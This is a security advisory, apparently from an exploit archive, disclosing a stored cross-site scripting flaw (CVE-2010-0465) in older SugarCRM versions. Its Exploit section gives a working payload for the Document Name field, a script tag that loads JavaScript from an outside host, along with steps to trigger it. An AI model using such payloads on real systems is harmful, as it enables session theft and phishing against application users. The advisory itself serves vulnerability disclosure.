Exploit the possiblities

SugarCRM Cross Site Scripting

SugarCRM Cross Site Scripting
Posted Mar 16, 2010
Authored by Jeromie Jackson

SugarCRM versions prior to 5.5.0a and 5.2.0l suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2010-0465
MD5 | 65028fdd56e01094100a9af2f5680c25

SugarCRM Cross Site Scripting

Change Mirror Download
Class: Stored Cross Site Scripting (XSS)

CVE: CVE-2010-0465

Remote: Yes

Local: Yes

Published: Jan 1, 2010 12:01AM

Timeline: Submission to Mitre: January 29, 2010

Vendor Contact: February 18, 2010

Vendor Response: February 19, 2010

Patch Available: March 10, 2010

Credit: Jeromie Jackson CISSP, CISM

COBIT & ITIL Certified

President- San Diego Open Web Application Security Project (OWASP)

Vice President- San Diego Information Audit & Control Association
(ISACA)

SANS Mentor

Blog: www.JeromieJackson.com

Twitter: www.twitter.com/Security_Sifu


Validated Vulnerable:

All previous version of SugarCRM prior to 5.5.0a and 5.2.0l


Discussion:


A Stored Cross-Site Scripting (XSS) vulnerability was found within
SugarCRM. The vulnerability is exploited through the online Documents
section of the application. By crafting a name that includes XSS code it
is possible to inject malicious data, redirect the user to a bogus
replica of the real website, or other nefariousactivity.



Exploit:

There are two ways that have been used to exploit this vulnerability. In
both instances, make a document with the following Document Name:


pwn3d<SCRIPT SRC="http://www.jeromiejackson.com/sugarcrm.js"></SCRIPT>



Example #1


Within the SugarCRM User Interface (UI) go to the Documents List. Click
on the one just created. This will execute the script. You will see the
script right in the document list- very obvious to most users that
something doesn't look right. The next example is slighly more covert.



Example #2


Within the SugarCRM UI go to the Document List. Hover over the Document
Name you just created, right-click, and then copy the URL location. You
will see the URL does not have any of the scripting, it has been
replaced with queries directly to a Record variable within the
application. This would probably be the tact a Phisher would take.



Solution:

A patch has been made available via the vendor. It is recommended a
routine to sanitize user input be consistently implemented throughout
the application to mitigate other such occurrences within the
application.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    42 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close